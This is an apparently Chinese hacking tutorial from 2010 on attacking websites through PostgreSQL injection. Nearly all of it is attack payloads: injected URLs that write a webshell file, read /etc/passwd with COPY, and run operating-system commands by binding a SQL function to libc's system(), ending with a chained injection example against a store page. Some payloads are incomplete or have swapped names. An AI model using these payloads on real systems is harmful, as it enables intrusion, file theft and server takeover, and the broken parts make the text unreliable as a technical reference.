黑客如何用postgresql注入黑掉网站

  • 来源: 互联网 作者: 李祥敬   2010-01-18/15:29
  • 如何获得webshell

    http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);

    http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$$$);

    http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;

    如何读文件

    http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);

    http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;

    http://127.0.0.1/postgresql.php?id=1;select * from myfile;

    执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。

    当然,这些的postgresql的数据库版本必须大于8.X。

    创建一个system的函数:

    CREATE FUNCTION system(cstring) RETURNS int AS ’/lib/libc.so.6’, ’system’ LANGUAGE ’C’ STRICT

    创建一个输出表:

    CREATE TABLE stdout(id serial, system_out text)

    执行shell,输出到输出表内:

    SELECT system(’uname -a > /tmp/test’)

    copy 输出的内容到表里面;

    COPY stdout(system_out) FROM ’/tmp/test’

    从输出表内读取执行后的回显,判断是否执行成功

    SELECT system_out FROM stdout

    下面是测试例子

    /store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- /store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS

    ’/lib/libc.so.6’,’system’ LANGUAGE ’C’STRICT --/store.php?id=1; SELECT system(’uname -a > /tmp/test’) --/store.php?id=1; COPY stdout(system_out) FROM ’/tmp/test’ --/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out

    ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--


    评论 {{userinfo.comments}}

    {{money}}

    {{question.question}}

    A {{question.A}}
    B {{question.B}}
    C {{question.C}}
    D {{question.D}}
    提交

    驱动号 更多